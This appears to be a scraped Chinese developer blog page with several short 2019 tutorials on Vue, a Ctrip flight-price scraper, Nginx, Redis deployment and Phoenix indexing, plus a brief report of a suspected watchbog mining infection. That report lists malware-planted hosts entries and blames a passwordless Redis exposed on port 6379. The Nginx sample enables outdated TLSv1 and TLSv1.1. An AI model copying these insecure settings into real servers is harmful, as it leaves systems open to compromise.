[mysql]
no-auto-rehash
# Remove the next comment character if you are not familiar with SQL
#safe-updates

[myisamchk]
key_buffer_size = 256M
sort_buffer_size = 256M
read_buffer = 2M
write_buffer = 2M

[mysqlhotcopy]
interactive-timeout

基于Element-UI的Vue动态输入框

七仔(Github) — Mon, 23 Dec 2019 09:31:26 GMT

基于Element-UI的Vue动态输入框

由于需要一个不确定数量的输入控件所以做了出来，然后封装了一下，大家自取

vue源码:DynamicInput.vue

<!--
---- Title: 动态输入框
---- Time:  2019/12/23
---- By:    陈思奇
 -->
<template>
  <div>
    <div v-for="(item, index) in items" v-bind:key="index">
      <el-input
        v-model="item.name"
        :placeholder="'请输入' + config.title"
        class="dynamic-input"
        align="right">
      </el-input>
      <el-button
        type="danger"
        icon="el-icon-delete"
        class="delete-input"
        v-if="index !== 0"
        @click="deleteItem(index)">
      </el-button>
    </div>
    <el-button
      type="primary"
      icon="el-icon-plus"
      @click="addItem"
      style="float: left">
      {{'添加' + config.title}}
    </el-button>
    <el-button
      v-if="config.showMsg"
      @click="print"
      style="float: left">
      输出信息
    </el-button>
  </div>
</template>

<script>
export default {
  name: 'DynamicInput',
  props: {
    // 输入数组
    items: {
      type: Array,
      default: () => [
        { name: '' }
      ]
    },
    // 配置
    config: {
      type: Object,
      default: () => [{
        title: '',
        showMsg: false
      }]
    }
  },
  methods: {
    addItem () {
      this.items.push({
        name: ''
      })
    },
    deleteItem (index) {
      this.items.splice(index, 1)
    },
    print () {
      let itemNames = ''
      for (let i = 0; i < this.items.length; i++) {
        if (this.items[i].name != null && this.items[i].name !== '') {
          if (itemNames === '') {
            itemNames += this.items[i].name
          } else {
            itemNames += ',' + this.items[i].name
          }
        }
      }
      alert(itemNames)
    }
  }
}
</script>

<style scoped>
  .dynamic-input{
    width: 89.4%;
    float:left;
    margin-bottom: 5px;
  }
  .delete-input{
    float: right
  }
</style>

引入

<template>
  <div class="hello">
    <DynamicInput
      :items="items"
      :config="config">
    </DynamicInput>
  </div>
</template>

<script>
import DynamicInput from './DynamicInput'
export default {
  name: 'HelloWorld',
  components: {DynamicInput},
  data () {
    return {
      items: [
        { name: '孩子1' },
        { name: '孩子2' },
        { name: '' }
      ],
      config: {
        title: '孩子',
        showMsg: true
      }
    }
  }
}
</script>

<style scoped>
</style>

Pyhton3爬取全国航班信息

七仔(Github) — Mon, 16 Dec 2019 07:44:29 GMT

Pyhton3爬取全国航班信息

起因

快过年了，要回家过年啊。。但是机票太贵，买不起啊。。。

想法

可以查询到家的航班有哪些，找到每个城市最便宜的，然后看看去那个城市火车要多久，整一整可以便宜很多

说做就做

找了个现成的爬虫修改，原爬虫链接：python爬虫——爬取携程机票信息

结果源代码

import json

import requests

# 城市字典
cityDict={"YIE":"阿尔山","AKU":"阿克苏","RHT":"阿拉善右旗","AXF":"阿拉善左旗","AAT":"阿勒泰","NGQ":"阿里","MFM":"澳门"
,"AQG":"安庆","AVA":"安顺","AOG":"鞍山","RLK":"巴彦淖尔","AEB":"百色","BAV":"包头","BSD":"保山","BHY":"北海","BJS":"北京"
,"DBC":"白城","NBS":"白山","BFJ":"毕节","BPL":"博乐","CKG":"重庆","BPX":"昌都","CGD":"常德","CZX":"常州"
,"CHG":"朝阳","CTU":"成都","JUH":"池州","CIF":"赤峰","SWA":"潮州","CGQ":"长春","CSX":"长沙","CIH":"长治","CDE":"承德"
,"CWJ":"沧源","DAX":"达州","DLU":"大理","DLC":"大连","DQA":"大庆","DAT":"大同","DDG":"丹东","DCY":"稻城","DOY":"东营"
,"DNH":"敦煌","DAX":"达县","LUM":"德宏","EJN":"额济纳旗","DSN":"鄂尔多斯","ENH":"恩施","ERL":"二连浩特","FUO":"佛山"
,"FOC":"福州","FYJ":"抚远","FUG":"阜阳","KOW":"赣州","GOQ":"格尔木","GYU":"固原","GYS":"广元","CAN":"广州","KWE":"贵阳"
,"KWL":"桂林","HRB":"哈尔滨","HMI":"哈密","HAK":"海口","HLD":"海拉尔","HDG":"邯郸","HZG":"汉中","HGH":"杭州","HFE":"合肥"
,"HTN":"和田","HEK":"黑河","HET":"呼和浩特","HIA":"淮安","HJJ":"怀化","TXN":"黄山","HUZ":"惠州","JXA":"鸡西","TNA":"济南"
,"JNG":"济宁","JGD":"加格达奇","JMU":"佳木斯","JGN":"嘉峪关","SWA":"揭阳","JIC":"金昌","KNH":"金门","JNZ":"锦州"
,"CYI":"嘉义","JHG":"景洪","JSJ":"建三江","JJN":"晋江","JGS":"井冈山","JDZ":"景德镇","JIU":"九江","JZH":"九寨沟","KHG":"喀什"
,"KJH":"凯里","KGT":"康定","KRY":"克拉玛依","KCA":"库车","KRL":"库尔勒","KMG":"昆明","LXA":"拉萨","LHW":"兰州","HZH":"黎平"
,"LJG":"丽江","LLB":"荔波","LYG":"连云港","LPF":"六盘水","LFQ":"临汾","LZY":"林芝","LNJ":"临沧","LYI":"临沂","LZH":"柳州"
,"LZO":"泸州","LYA":"洛阳","LLV":"吕梁","JMJ":"澜沧","LCX":"龙岩","NZH":"满洲里","LUM":"芒市","MXZ":"梅州","MIG":"绵阳"
,"OHE":"漠河","MDG":"牡丹江","MFK":"马祖" ,"KHN":"南昌","NAO":"南充","NKG":"南京","NNG":"南宁","NTG":"南通","NNY":"南阳"
,"NGB":"宁波","NLH":"宁蒗","PZI":"攀枝花","SYM":"普洱","NDG":"齐齐哈尔","JIQ":"黔江","IQM":"且末","BPE":"秦皇岛","TAO":"青岛"
,"IQN":"庆阳","JUZ":"衢州","RKZ":"日喀则","RIZ":"日照","SYX":"三亚","XMN":"厦门","SHA":"上海","SZX":"深圳","HPG":"神农架"
,"SHE":"沈阳","SJW":"石家庄","TCG":"塔城","HYN":"台州","TYN":"太原","YTY":"泰州","TVS":"唐山","TCZ":"腾冲","TSN":"天津"
,"THQ":"天水","TGO":"通辽","TEN":"铜仁","TLQ":"吐鲁番","WXN":"万州","WEH":"威海","WEF":"潍坊","WNZ":"温州","WNH":"文山"
,"WUA":"乌海","HLH":"乌兰浩特","URC":"乌鲁木齐","WUX":"无锡","WUZ":"梧州","WUH":"武汉","WUS":"武夷山","SIA":"西安","XIC":"西昌"
,"XNN":"西宁","JHG":"西双版纳","XIL":"锡林浩特","DIG":"香格里拉(迪庆)","XFN":"襄阳","ACX":"兴义","XUZ":"徐州","HKG":"香港"
,"YNT":"烟台","ENY":"延安","YNJ":"延吉","YNZ":"盐城","YTY":"扬州","LDS":"伊春","YIN":"伊宁","YBP":"宜宾","YIH":"宜昌"
,"YIC":"宜春","YIW":"义乌","INC":"银川","LLF":"永州","UYN":"榆林","YUS":"玉树","YCU":"运城","ZHA":"湛江","DYG":"张家界"
,"ZQZ":"张家口","YZY":"张掖","ZAT":"昭通","CGO":"郑州","ZHY":"中卫","HSN":"舟山","ZUH":"珠海","WMT":"遵义(茅台)","ZYI":"遵义(新舟)"}
# 要排除的城市
excludeCitys = ['乌鲁木齐','克拉玛依','吐鲁番','哈密','昌吉','阜康','米泉','博乐','库尔勒','阿克苏','阿图什','喀什','和田','奎屯',
           '伊宁','塔城','乌苏','阿勒泰','库车']
url = "https://flights.ctrip.com/itinerary/api/12808/products"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
    "Referer": "https://flights.ctrip.com/itinerary/oneway/bjs-sha?date=2019-07-18",
    "Content-Type": "application/json"
    # 此处可以增加cookies
}


# 获取这个城市当天最便宜的航班
def getCheapFlight(dcity, acity, date):
    request_payload = {
        "flightWay": "Oneway",
        "classType": "ALL",
        "hasChild": False,
        "hasBaby": False,
        "searchIndex": 1,
        "airportParams": [
            {"dcity": dcity, "acity": acity, "dcityname": cityDict[dcity], "acityname": cityDict[acity],
             "date": date, "dcityid": 1, "acityid": 2}
        ]
    }
    # post请求
    response = requests.post(url, data=json.dumps(request_payload), headers=headers).text
    # 很多航班信息在此分一下
    routeList = json.loads(response).get('data').get('routeList')
    # 航班信息列表
    cheapFlight = {}
    # 依次读取每条信息
    if routeList is None: return {}
    for route in routeList:
        # 判断是否有信息，有时候没有会报错
        if len(route.get('legs')) == 1:
            legs = route.get('legs')
            flight = legs[0].get('flight')
            # 提取想要的信息
            airlineName = flight.get('airlineName')                                         # 航空公司
            flightNumber = flight.get('flightNumber')                                       # 航班号
            departureDate = flight.get('departureDate')                                     # 起飞时间
            arrivalDate = flight.get('arrivalDate')                                         # 到达时间
            departureCityName = flight.get('departureAirportInfo').get('cityName')          # 起飞城市
            departureAirportName = flight.get('departureAirportInfo').get('airportName')    # 起飞机场
            arrivalCityName = flight.get('arrivalAirportInfo').get('cityName')              # 到达城市
            arrivalAirportName = flight.get('arrivalAirportInfo').get('airportName')        # 到达机场
            price = legs[0].get('cabins')[0].get('price').get('price')                      # 航班价格
            # 选出最便宜的航班
            if ('price' not in cheapFlight) or (price < cheapFlight['price']):
                cheapFlight['airlineName'] = airlineName
                cheapFlight['flightNumber'] = flightNumber
                cheapFlight['departureDate'] = departureDate
                cheapFlight['arrivalDate'] = arrivalDate
                cheapFlight['departureCityName'] = departureCityName
                cheapFlight['departureAirportName'] = departureAirportName
                cheapFlight['arrivalCityName'] = arrivalCityName
                cheapFlight['arrivalAirportName'] = arrivalAirportName
                cheapFlight['price'] = price
    return cheapFlight


# 开始
if __name__ == "__main__":
    # 重点城市
    endCity = 'URC'
    # 航班日期
    time = '2020-01-20'
    cityList = list(cityDict.keys())
    for city in cityList:
        cityFlight = getCheapFlight(city, endCity, time)
        # 判空
        if not cityFlight:
            continue
        # 价格筛选
        if cityFlight['price'] > 1000:
            continue
        # 删除要排除的城市
        isPrint = True
        for excludeCity in excludeCitys:
            if excludeCity == cityFlight['departureCityName']:
                isPrint = False
                break
        if isPrint:
            print(cityFlight)

Java获取零点时间戳踩坑记录

七仔(Github) — Fri, 06 Dec 2019 10:01:00 GMT

Java获取零点时间戳踩坑记录

开始时是使用下面这种方式

long now = System.currentTimeMillis();
now/(1000*3600*24)*(1000*3600*24)-TimeZone.getDefault().getRawOffset();

后来发现不对劲，查出来是前一天的时间戳，我以为少了一天，就加了一天

now/(1000*3600*24)*(1000*3600*24)-TimeZone.getDefault().getRawOffset() + 24*60*60*1000;

后面又不对，最后发现在每天的00:00到08:00之间查出来是前一天的时间，之所以是八点似乎是跟东八区的时间有关系

下面是解决方案

now - (now + TimeZone.getDefault().getRawOffset()) % (1000 * 3600 * 24);

Phoenix查询优化(千万数据0.1秒查询)

七仔(Github) — Wed, 04 Dec 2019 03:22:05 GMT

Phoenix查询优化(千万数据0.1秒查询)

版本信息

Phoenix: 5.0 HBase:2.0 Zookeeper:3.4.12

优化过程

二级索引是关键，首先是创建索引，创建索引之前需要配置一些东西

在每一个RegionServer的hbase-site.xml中加入如下的属性：

<property>
  <name>hbase.regionserver.wal.codec</name>
  <value>org.apache.hadoop.hbase.regionserver.wal.IndexedWALEditCodec</value>
</property>
<property>
  <name>hbase.region.server.rpc.scheduler.factory.class</name>
  <value>org.apache.hadoop.hbase.ipc.PhoenixRpcSchedulerFactory</value>
  <description>Factory to create the Phoenix RPC Scheduler that uses separate queues for index and metadata updates</description>
</property>
<property>
  <name>hbase.rpc.controllerfactory.class</name>
  <value>org.apache.hadoop.hbase.ipc.controller.ServerRpcControllerFactory</value>
  <description>Factory to create the Phoenix RPC Scheduler that uses separate queues for index and metadata updates</description>
</property>
<property>
  <name>hbase.coprocessor.regionserver.classes</name>
  <value>org.apache.hadoop.hbase.regionserver.LocalIndexMerger</value>
</property>

在每一个Master的hbase-site.xml中加入如下的属性：

<property>
  <name>hbase.master.loadbalancer.class</name>
  <value>org.apache.phoenix.hbase.index.balancer.IndexLoadBalancer</value>
</property>
<property>
  <name>hbase.coprocessor.master.classes</name>
  <value>org.apache.phoenix.hbase.index.master.IndexMasterObserver</value>
</property>

接下来看这个查询语句

SELECT MAX(create_time) AS "createTime",student_id AS "studentID"
FROM bracelet_info
WHERE student_id = '111' and create_time >= 1575388800000
group by student_id;

这条查询语句需要两个筛选，创建一个对应的组合二级索引：

create index idx_bracelet_info_student_id_time on bracelet_info(student_id,create_time desc);

接下来查看语句运行效率，这里增加了一个Hint，略微增加速度

0: jdbc:phoenix:************:****> SELECT /*+ INDEX(bracelet_info idx_bracelet_info_student_id_time) */
. . . . . . . . . . . . . . . . .> MAX(create_time) AS "createTime"
. . . . . . . . . . . . . . . . .> ,student_id AS "studentID"
. . . . . . . . . . . . . . . . .> FROM bracelet_info
. . . . . . . . . . . . . . . . .> WHERE student_id = '111'
. . . . . . . . . . . . . . . . .> and create_time >= 1575388800000
. . . . . . . . . . . . . . . . .> group by student_id;
+----------------+------------+
|   createTime   | studentID  |
+----------------+------------+
| 1575428753262  | 111        |
+----------------+------------+
1 row selected (0.098 seconds)

千万级数据下查询效果很不错

这里附加一条删除二级索引的语句

drop index idx_bracelet_info_student_id_time ON bracelet_info;

IDEA中git的操作

七仔(Github) — Sun, 24 Nov 2019 11:00:41 GMT

IDEA中git的操作

安装git

1.下载:可以去git的官网下载 2.安装 3.配置环境变量:

在系统变量的Path中添加git的安装目录再加\cmd即可

IDEA配置git

ctrl+alt+s打开Settings，搜索git，然后在第一行的Path to Git executable中选择git的目录\bin\git.exe即可

从在线git仓库clone/下载项目

有两种下载方式，我一般是选择https的下载方式，输入用户名密码后让idea记住。

1.IDEA的开始界面或者VCS 2.Checkout from Version Control 3.git 4.输入https的url和项目放置路径 5.输入用户名密码并点击clone

提交和更新

在左下角的Version Control中可以看到更改的文件，可以长按ctrl并用鼠标左键选择你要提交的那些文件，选完后点击左侧的绿色√来commit到本地仓库，这里如果想要回退可以看下面一个操作，commit后要提交到线上仓库需要点击VCS->Git->Push来提交。

更新是VCS->Updata Project，如果没有冲突就可以直接合并，有冲突的话需要在冲突的文件手动选择合并。

本地回退

在commit但没有push到线上的情况下可以选择本地回退，VSC->Git->reset head打开窗口，其中的To Commit是重点：

退回到上一次提交：HEAD^ 退回到2次提交之前：HEAD~2 退回到指定的版本：HEAD ~id号

切换分支

在右下角[GIT:分支名(一般开始是Master)]的分支里选择你要切换的分支点击Checkout即可

合并分支

Develop分支合并到Master分支上：首先切换到Master分支上，在Dev分支上点击Merge into Current即可

提交规范化

type：用于说明commit的类别，规定为如下几种

feat：新增功能； fix：修复bug； docs：修改文档； refactor：代码重构，未新增任何功能和修复任何bug； build：改变构建流程，新增依赖库、工具等（例如webpack修改）； style：仅仅修改了空格、缩进等，不改变代码逻辑； perf：改善性能和体现的修改； chore：非src和test的修改； test：测试用例的修改； ci：自动化流程配置修改； revert：回滚到上一个版本；

scope：【可选】用于说明commit的影响范围

subject：commit的简要说明，尽量简短

Nginx的配置使用

七仔(Github) — Wed, 20 Nov 2019 08:57:23 GMT

Nginx的配置使用

https的配置

首先去申请一个ssl证书并下载相关的文件：pem和key

然后配置443端口转发到相应的端口

    # HTTPS server
    # https访问
    server {
        listen       443 ssl;
        server_name  你的域名;
        ssl on;
        root html;
        index index.html index.htm;

        ssl_certificate      pem地址;
        ssl_certificate_key  key地址;

        ssl_session_timeout  5m;

        ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_prefer_server_ciphers  on;

        location / {
            proxy_set_header Upgrade $http_upgrade;
            proxy_set_header Connection "upgrade";
            proxy_pass   转发地址如http://127.0.0.1:8003;
        }
    }

强制使用https访问

就是如果访问端口是http就重定向到https，这里强制80端口使用https访问

    # HTTP server
    # 重定向到https
    server {
        listen       80;
        server_name  你的域名;
        return      301 https://$server_name$request_uri;
    }

开启GZIP

在http区块下添加如下代码

    #开启gzip
    gzip  on;
    #低于1kb的资源不压缩
    gzip_min_length 1k;
    #压缩级别【1-9】，越大压缩率越高，同时消耗cpu资源也越多，建议设置在4左右。
    gzip_comp_level 4;
    #需要压缩哪些响应类型的资源，多个空格隔开。
    gzip_types text/plain application/javascript application/x-javascript text/javascript text/xml text/css;
    #配置禁用gzip条件，支持正则。此处表示ie6及以下不启用gzip（因为ie低>版本不支持）
    gzip_disable "MSIE [1-6]\.";
    #是否添加“Vary: Accept-Encoding”响应头
    gzip_vary on;

区分爬虫进行转发

在location区块下添加如下代码

if ($http_user_agent ~* "Baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest|slackbot|vkShare|W3C_Validator|bingbot|Sosospider|Sogou Pic Spider|Googlebot|360Spider") {
    proxy_pass  要转发的地址;
}

location的判断

判断文件

location ~* .jpg|.png|.gif|.jpeg|.html|.js|.css|.ico$ {}

判断服务

location ~* ^/(auth|admin|code|gen|actuator|monitor|mp|daemon|job|tx|pay|act|blog) {}

开启缓存

proxy_cache_path 本地缓存路径 levels=1:2 keys_zone=cachedata:10m max_size=10g inactive=60m use_temp_path=off;
server {
　　# ...
　　location / {
　　　　proxy_cache cachedata;
　　　　proxy_pass 要转发的地址;
　　}
}

CentOS部署JDK、Tomcat、Redis

七仔(Github) — Wed, 20 Nov 2019 08:10:18 GMT

CentOS部署JDK、Tomcat、Redis

JDK和Tomcat

首先要有一个华为云DevCloud账号
创建仓库然后创建部署任务
创建主机组、一个主机（填你的服务器）
在其中选择JDK安装
添加一个Tomcat安装
执行

Redis

1.下载安装包

wget http://download.redis.io/releases/redis-4.0.2.tar.gz

2.解压并安装

tar xzf redis-4.0.2.tar.gz
cd redis-4.0.2
make
make install

3.更改配置文件

vim redis.conf

将里面的daemonize从no修改为yes

4.启动

/usr/local/bin/redis-server /root/redis-4.0.2/redis.conf

停止

/usr/local/bin/redis-cli SHUTDOWN

参考: CentOS下Redis的安装

记一次服务器疑似watchbog挖矿病毒入侵

七仔(Github) — Tue, 19 Nov 2019 03:49:50 GMT

记一次服务器疑似watchbog挖矿病毒入侵

发现

网站崩溃，查询发现是后台服务无法请求到，继续查发现全部的微服务都挂了，所以在华为云重新部署，但是部署失败，服务无法启动，使用ssh连接手动测试启动后发现还是不行

排查

经过查询日志发现无法连接到mysql，我的服务地址是使用hosts维护的，使用

vim /etc/hosts

命令发现hosts文件之前的hosts均被清空，多了两个不是我自己配置的host

0.0.0.0 pastebin.com
0.0.0.0 onion.to

经过搜索引擎发现似乎是watchbog挖矿病毒导致的，使用top命令没有发现cpu使用率高的，但是云服务监控的cpu在不停的变动修改hosts后不长的时间又会被修改回来使用

crontab -l

发现有定时任务，但是着急就没有继续查，直接重装封端口了

原因

前几天想在本地使用Redis Desktop Manager可视化工具连接服务器的redis，所以设置了redis的远程连接和6379端口，还为了方便没有设置密码，心太大了/(ㄒoㄒ)/~~，导致6379端口被注入脚本，导致网站崩溃

解决

因为服务器上没有什么东西，所以使用云服务商的重装功能重装了系统，再重新安装了jdk和redis，然后关闭了不必要的端口如6379

python自动判断Maven依赖

七仔(Github) — Fri, 15 Nov 2019 09:44:49 GMT

python自动判断Maven依赖

#!/usr/bin/python
# -*- coding: UTF-8 -*-
"""
    naee    自动判断Maven依赖
    by      陈思奇
    time    2019.9.9
    methods 填写好下方的项目绝路路径和groupId运行后复制运行结果粘贴到excel即可
"""
import os.path
from xml.dom.minidom import parse

ProjectPath = "D:\project\java\IntelliJ\cathayfuture"                               # 一定要写绝对路径
yourGroupId = "com.baokang"                                                         # 要判断的groupId

excelPast = '服务名\t依赖\n'
rootDir = os.path.abspath(ProjectPath)
for parent, dirnames, filenames in os.walk(rootDir):
    for filename in filenames:
        if "pom.xml" == filename:
            pathfile = os.path.join(parent, filename)                               # 获得pom文件路径
            DOMTree = parse(pathfile)
            project = DOMTree.documentElement                                       # project节点
            dependencies = project.getElementsByTagName('dependencies')             # dependencies节点列表
            if dependencies.length == 0:
                continue
            dependencyList = dependencies[0].getElementsByTagName('dependency')     # dependency节点列表
            dependencyStr = ''
            for dependency in dependencyList:
                groupId = dependency.getElementsByTagName('groupId')[0]             # groupId节点
                if groupId.firstChild.data == yourGroupId:                          # 判断是否为该groupId
                    dependencyStr += \
                        dependency.getElementsByTagName('artifactId')[0].firstChild.data + '\n'     # excel字符串拼接
            if dependencyStr != '':
                dependencyStr = dependencyStr[:len(dependencyStr) - 1]                              # excel粘贴格式原因
                excelPast += parent[parent.rfind("\\") + 1:] + "\t\"" + dependencyStr + "\"\n"      # excel字符串拼接
print(excelPast)

基于谷歌/火狐无头浏览器模式解决Vue的SEO问题

七仔(Github) — Fri, 15 Nov 2019 07:05:03 GMT

基于谷歌/火狐无头浏览器模式解决Vue的SEO问题

启发来自冷子欲的文章: 基于Vue SEO的四种方案，感谢作者的分享。

在他的文章里【使用Phantomjs针对爬虫做处理】对于已经开发完成的单页面Vue项目是很好的选择，但是我用Phantomjs安装完后不能正常工作，另外“PhantomJS宣布终止开发”，所以选择弃用Phantomjs转用其他的方案代替。

Phantomjs的本质是一个无头浏览器，我了解到谷歌和火狐都有无头浏览器模式，所以想到使用python调用浏览器来实现返回渲染好的html页面。

下面是我设计的流程图

下面是具体的流程，在流程开始之前要安装Nginx、火狐/谷歌、Nodejs、python环境，安装及使用这里就不赘述了：

1.Nginx做转发

在Nginx的配置文件里的http区块加转发地址:

upstream spider_server {
    server localhost:3000;
}

在http区块->server区块->location区块里加判断:

if ($http_user_agent ~* "Baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest|slackbot|vkShare|W3C_Validator|bingbot|Sosospider|Sogou Pic Spider|Googlebot|360Spider") {
    proxy_pass  http://spider_server;
}

这样便实现了对百度或其余的爬虫转发到3000端口，3000端口是node.js程序监听的地址，可以自己设置。

2.使用node.js调用python爬虫

创建server.js文件并运行

// ExpressJS调用方式
var express = require('express');
var app = express();

// 引入NodeJS的子进程模块
var child_process = require('child_process');
var iconv = require('iconv-lite');

app.get('*', function(req, res) {
res.writeHead(200, {'Content-Type': 'text/html; charset=utf-8'});
    //url
    var url = req.protocol + '://'+ req.hostname + req.originalUrl;

    // 预渲染后的页面字符串容器
    var content = '';

    // 开启一个python子进程
    var firefox = child_process.spawn('python', ['firefox.py', url]);

    // 设置stdout字符编码
    //firefox.stdout.setEncoding('utf8');

    // 监听python的stdout，并拼接起来
    firefox.stdout.on('data', function(data){
        //content += data.toString();
        content += iconv.decode(new Buffer(data, 'binary'), 'gb2312');
    });


    // 捕获标准错误输出并将其打印到控制台 
    firefox.stderr.on('data', function (data) { 
        console.log('standard error output:\n' + data); 
    }); 

    // 监听子进程退出事件
    firefox.on('exit', function(code){
        switch (code){
            case 1:
                console.log('load error');
                res.write('加载失败');
                break;
            case 2:
                console.log('timeout: '+ url);
                res.write('time out');
                break;
            default:
                //console.log(content);
                res.write(content);
                break;
        }
         res.end();
    });

});

app.listen(3000, function () {
  console.log('Spider app listening on port 3000!');
});

这里的3000便是Nginx转发的端口。

3.使用python调用谷歌/火狐浏览器获得渲染数据

这里使用python调用火狐浏览器获取渲染数据

from selenium.webdriver.firefox.options import Options
from selenium import webdriver
import sys

# print(sys.argv[1])

# url = 'https://www.baby7blog.com'
js_delStyle = "var elems = document.getElementsByTagName('style');" \
              "for(var i = 0; i < elems.length; i++){elems[i].parentNode.removeChild(elems[i]);}"
#
options = Options()
options.add_argument('--headless')  # 无界面
options.set_preference('permissions.default.image', 2)  # 不加载图片
browser = webdriver.Firefox(options=options)  # 打开浏览器
browser.get(url=sys.argv[1])  # 请求
browser.execute_script(js_delStyle)
print(browser.page_source.encode('GBK','ignore').decode('GBk'))  # 输出
browser.close()  # 关闭浏览器
browser.quit()  # # 杀死chrome浏览器的连接桥(chromedriver)的进程

可以看到使用了无头、无界面、不加载图片的浏览器模式，并且请求后对html做了处理，删除了不必要的

七仔的博客

关于博客数据库被新的勒索病毒入侵

关于博客数据库被新的勒索病毒入侵

详情

勒索信息

后续更新

一次浏览器钓鱼病毒的分析

一次浏览器钓鱼病毒的分析

起因

分析

结果

给VitePress的右上角增加Github角标

给VitePress的右上角增加Github角标

介绍

github-corner

VitePress

具体流程

1. 创建自定义主题组件

2. 创建 GitHub Corner 组件

3. 修改 .vitepress/theme/index.js

效果(右上角)

【开源】七仔的桌面工具 v2.6.1

【开源】七仔的桌面工具

前言

介绍

上半部分是小卡片

下半部分是工具

说明

运行截图

下载(v2.6.1)

蓝奏云

【开源】灵卡面板 - 打造你的专属摸鱼办公面板

【开源】灵卡面板 - 打造你的专属摸鱼办公面板

软件介绍

主卡片

小卡片

工具箱模块

软件运行界面

软件官网和下载链接

七仔的笔记本电池健康工具

七仔的笔记本电池健康工具

使用方法

下载和运行:

在其他软件上运行

灵卡面板

地址：

博客的加载速度和大小的优化、优化再优化

博客的加载速度和大小的优化、优化再优化

0. 前言

1. 基础

1.1 图片加载优化

1.2 gzip压缩

2. 首屏渲染

3. 接口

4. Live2d的优化

5. 七牛云的优化

5.1 七牛云的图片瘦身

5.2 七牛云的gzip压缩

6. 工具

使用 Github Pages 和 Hexo 搭建博客

使用 Github Pages 和 Hexo 搭建博客

一、前言

优点：

缺点：

二、搭建

三、流程

一、 Github部分

1. 仓库

2. 初始化

3. 测试

二、Hexo部分

1. 初始化

2. 修改基础配置

3. 新增文章

4. 编辑文章

5. 本地运行

6. 生成

7. 测试

四、主题

记录下使用@Async的低级错误

3. 修改 `.vitepress/theme/index.js`

2. linux的sh脚本和 windows的shell脚本